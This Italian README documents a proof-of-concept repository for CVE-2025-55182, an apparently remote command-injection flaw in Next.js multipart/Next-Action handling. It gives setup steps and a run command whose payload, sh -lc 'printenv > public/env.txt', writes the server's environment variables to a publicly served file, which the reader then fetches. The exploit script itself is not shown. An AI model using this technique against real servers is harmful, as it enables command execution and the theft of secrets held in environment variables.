
Exploit proof-of-concept per CVE-2025-55182 che prende di mira la gestione di Next.js multipart/Next-Action con uno script dimostrativo di iniezione di comandi locali.
Un piccolo repository contenente:
test-app/: un'applicazione di test Next.js 16 (React 19) che utilizza l'App Router.exploit.js: uno script di prova locale utilizzato per dimostrare e testare il comportamento del server riguardo alla gestione multipart/Next-Action. Destinato esclusivamente a test locali.rsc-test-app/
├─ README.md # You are here
├─ exploit.js # PoC script (local-only)
└─ test-app/ # Next.js application
├─ app/ # App Router pages
├─ public/ # Static assets (and env.txt when generated)
├─ package.json # Next 16 / React 19
└─ README.md # Default Next.js template README
cd test-app
npm install
npm run dev
# App will be available at http://localhost:3000
npm run build
npm start
Questo script costruisce una richiesta multipart con un'intestazione Next-Action per testare il comportamento del server. Di default, tenta di eseguire un comando sul processo del server che scrive l'ambiente in public/env.txt (per la dimostrazione in un ambiente locale/di sviluppo).
Note importanti:
public/ venga risolta in test-app/public/.In un terminale separato, assicurati che l'app Next.js sia in esecuzione su http://localhost:3000:
cd test-app
npm run dev
Dalla radice del repository, esegui lo script:
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
Parametri:
http://localhost:3000.sh -lc 'printenv > public/env.txt'.Dopo l'esecuzione, verifica la presenza del file generato:
accedendo a
http://localhost:3000/env.txt
Ecco le variabili d'ambiente del server.